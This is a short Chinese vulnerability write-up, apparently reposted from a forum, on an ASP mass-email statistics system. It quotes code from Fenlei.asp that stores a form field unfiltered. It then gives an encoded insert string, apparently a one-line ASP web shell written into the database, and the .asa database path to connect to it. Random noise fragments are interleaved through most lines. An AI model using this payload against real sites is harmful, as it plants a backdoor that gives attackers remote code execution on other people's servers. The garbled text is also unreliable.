铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp
* p: q( {/ w) s
- M/ t  U7 _" I6 ^7 k* vIF Request.QueryString("Action")="del" Then
ID=Request.QueryString("ID")
IF Countss ("tui","Fenlei",ID )<>0 then
* \+ n8 A& _# A& a/ {( z+ {'略
IF Request.QueryString("Action")="Add" Then
Tname=Request.Form("Typename")
* H. T" I3 R" ySet Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
2 p6 }, T- V7 V2 \6 ]% u8 D6 O8 {Rs.Open Sql,Conn,1,3
( b: q: _1 \( W  d+ @/ ]Rs.Addnew
Rs("Typename")=Tname
'略
Set Rs=Server.CreateObject("adodb.Recordset")
) |' Y. B* S- jSql="Select * From Fenlei Order by id Desc "
& S+ W2 p3 r; i# X) NRs.Open Sql,Conn,1,1
'略
1 n% V3 f3 `2 U9 A0 u$ b& ?5 o; E%>
3 Q, q9 ^7 q: _( p- ^: X# h& l


  D: c5 r' B$ z+ f. M  h# t& l没有过滤，直接写入数据库。
; ?( s. Y0 s' {! S0 b
利用方法：
  s4 _, w4 U1 X  t  n4 w
插入：┼攠數畣整爠煥敵瑳∨≡┩>

! v% Y% o" P3 M( W  K5 F% o9 a, s
连接： http://www.xxx.com/###tongbaner.asa
) U( p" ^, t5 ?; {# |'默认安装文件：
'install.asp
# t$ C; [9 x$ Z